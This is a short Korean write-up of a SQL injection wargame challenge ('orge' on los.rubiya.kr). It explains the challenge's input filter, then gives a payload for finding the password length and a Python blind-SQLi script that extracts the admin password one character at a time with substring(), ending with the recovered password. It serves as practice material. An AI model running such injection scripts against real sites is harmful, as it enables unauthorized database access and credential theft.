preg_match($pattern, $subject, [, $matches]) : 해당 문자열에서 전달받은 정규 표현식과 일치하는 패턴을 검색하는 함수 (여기서 필터링하는 문자 : 'prob', '_', '.', '()', 'or', 'and')
addslashes() : 매개변수로 넘겨준 문자열 안에 single quote(') 혹은 double quote("), 백슬래쉬(\), NULL 바이트가 포함되어 있다면 해당 문자 앞에 역슬래시(\)를 추가해 주는 함수
1. pw 길이 구하기
?pw=' || length(pw)=8%23
위처럼 입력해주었더니 Hello admin이 출력되었다.
따라서 pw의 길이가 8이라는 것을 알 수 있다.
2. pw 구하기
import requests
URL="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
params = {'pw':''}
cookie={"PHPSESSID":"lu9ovphnbrl7ub6umdqv27vpbd"}
pw_length=8
password = ''
for i in range(pw_length):
for j in range(32, 127):
params['pw'] = "'||id='admin'&&substring(pw,{},1)='{}'-- ".format(i+1, chr(j))
res = requests.get(URL, params=params, cookies=cookie)
if "Hello admin" in res.text:
password += chr(j)
break
print(password)
따라서 url에 ?pw=7b751aec를 입력해주었고 다음과 같이 공격에 성공할 수 있었다.